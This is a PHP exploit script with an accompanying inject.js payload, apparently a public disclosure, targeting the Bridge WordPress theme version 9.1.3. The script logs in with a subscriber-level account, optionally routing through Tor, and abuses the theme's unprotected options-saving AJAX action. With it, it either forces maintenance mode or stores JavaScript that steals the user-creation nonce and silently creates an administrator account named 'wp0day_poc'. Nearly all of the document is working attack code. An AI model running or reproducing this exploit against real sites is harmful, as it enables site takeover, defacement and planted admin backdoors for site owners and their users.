<?php
/**
* Exploit Titie: Bridge - Creative Multi-Purpose WordPress Theme Exploit
* Google Dork:
* Exploit Author: wp0Day.com <contact@wp0day.com>
* Vendor Homepage: http://bridge.qodeinteractive.com/
* Software Link: http://themeforest.net/item/bridge-creative-multipurpose-wordpress-theme/7315054
* Version: 9.1.3
* Tested on: Debian 8, PHP 5.6.17-3
* Type: Stored XSS, Ability to overwrite any theme settings.
* Time line: Found [23-Apr-2016], Vendor notified [23-Apr-2016], Vendor fixed: [Yes], [RD:1]
*/
require_once('curl.php');
//OR
//include('https://raw.githubusercontent.com/svyatov/CurlWrapper/master/CurlWrapper.php');
$curl = new CurlWrapper();
$options = getopt("t:m:u:p:f:c:",array('tor:'));
print_r($options);
$options = validateInput($options);
if (!$options){
showHelp();
}
if ($options['tor'] === true)
{
echo " ### USING TOR ###\n";
echo "Setting TOR Proxy...\n";
$curl->addOption(CURLOPT_PROXY,"http://127.0.0.1:9150/");
$curl->addOption(CURLOPT_PROXYTYPE,7);
echo "Checking IPv4 Address\n";
$curl->get('https://dynamicdns.park-your-domain.com/getip');
echo "Got IP : ".$curl->getResponse()."\n";
echo "Are you sure you want to do this?\nType 'wololo' to continue: ";
$answer = fgets(fopen ("php://stdin","r"));
if(trim($answer) != 'wololo'){
die("Aborting!\n");
}
echo "OK...\n";
}
function logIn(){
global $curl, $options;
file_put_contents('cookies.txt',"\n");
$curl->setCookieFile('cookies.txt');
$curl->get($options['t']);
$data = array('log'=>$options['u'], 'pwd'=>$options['p'], 'redirect_to'=>$options['t'], 'wp-submit'=>'Log In');
$curl->post($options['t'].'/wp-login.php', $data);
$status = $curl->getTransferInfo('http_code');
if ($status !== 302){
echo "Login probably failed, aborting...\n";
echo "Login response saved to login.html.\n";
die();
}
file_put_contents('login.html',$curl->getResponse());
}
function exploit(){
global $curl, $options;
switch ($options['m']){
case 'm' :
//Maintanence mode
echo "Putting site in maintenece mode\n";
$data = array('action' => 'qodef_save_options', 'qode_maintenance_mode'=>'yes');
$curl->post($options['t'].'/wp-admin/admin-ajax.php', $data);
$resp = $curl->getResponse();
echo "Response: ".$resp."\n";
break;
case 'x' :
//XSS Mode, create extra admin
echo "Injecting inject.js \n";
$data = array('action' => 'qodef_save_options', 'custom_js'=>file_get_contents(dirname(__FILE__)."/inject.js"));
$curl->post($options['t'].'/wp-admin/admin-ajax.php', $data);
$resp = $curl->getResponse();
echo "Response: ".$resp."\n";
break;
}
}
logIn();
exploit();
function validateInput($options){
if ( !isset($options['t']) || !filter_var($options['t'], FILTER_VALIDATE_URL) ){
return false;
}
if ( !isset($options['u']) ){
return false;
}
if ( !isset($options['p']) ){
return false;
}
if (!preg_match('~/$~',$options['t'])){
$options['t'] = $options['t'].'/';
}
if (!isset($options['m']) || !in_array($options['m'], array('m','x') ) ){
return false;
}
$options['tor'] = isset($options['tor']);
return $options;
}
function showHelp(){
global $argv;
$help = <<<EOD
Bridge Theme Exploit, Stored XSS, Create Admin account.
Usage: php $argv[0] -t [TARGET URL] --tor [USE TOR?] -u [USERNAME] -p [PASSWORD] -m [MODE]
*** You need to have a valid login (customer or subscriber will do) in order to use this "exploit" **
[TARGET_URL] http://localhost/wordpress/
[MODE] x - Permanent XSS DEMO, m - Maintenance Mode
Examples:
php $argv[0] -t http://localhost/wordpress --tor=yes -u customer1 -p password -m x
php $argv[0] -t http://localhost/wordpress --tor=yes -u customer1 -p password -m m
Misc:
CURL Wrapper by Leonid Svyatov <leonid@svyatov.ru>
@link http://github.com/svyatov/CurlWrapper
@license http://www.opensource.org/licenses/mit-license.html MIT License
EOD;
echo $help."\n\n";
die();
}
?>
inject.js
});
//Get Token
var domain = location.protocol+'//'+document.domain;
var url = domain+'/wp-admin/user-new.php';
var JQ = jQuery.noConflict();
JQ.ajax({
"url": url,
"success" : function(x){
//Got the response
console.log('Got response');
var re = /name="_wpnonce_create-user"(\s+)value="([^"]+)"/g;
var m = re.exec(x);
if (m[2].match(/([a-z0-9]{10})/)) {
var nonce = m[2];
console.log('Got nonce '+nonce);
}
console.log('Registering, User: wp0day_poc, Pass: secret, Role: Admin ');
JQ.ajax({
"url": url,
"method" : "POST",
"data" :
{ "action":"createuser",
"_wpnonce_create-user": nonce,
"_wp_http_referer" : "/wp-admin/user-new.php",
"user_login": "wp0day_poc",
"email" : "contact@wp0day.com",
"first_name" : "Exploit",
"last_name" : "Poc",
"url" : "http://wp0day.com/",
"pass1" : "secret",
"pass1-text" : "secret",
"pass2" : "secret",
"send_user_notification" : 0,
"role":"administrator",
"createuser" : "Add+New+User"
},
"success" : function(x){
console.log("Register done");
}
});
}
});
$j(document).ready(function(){
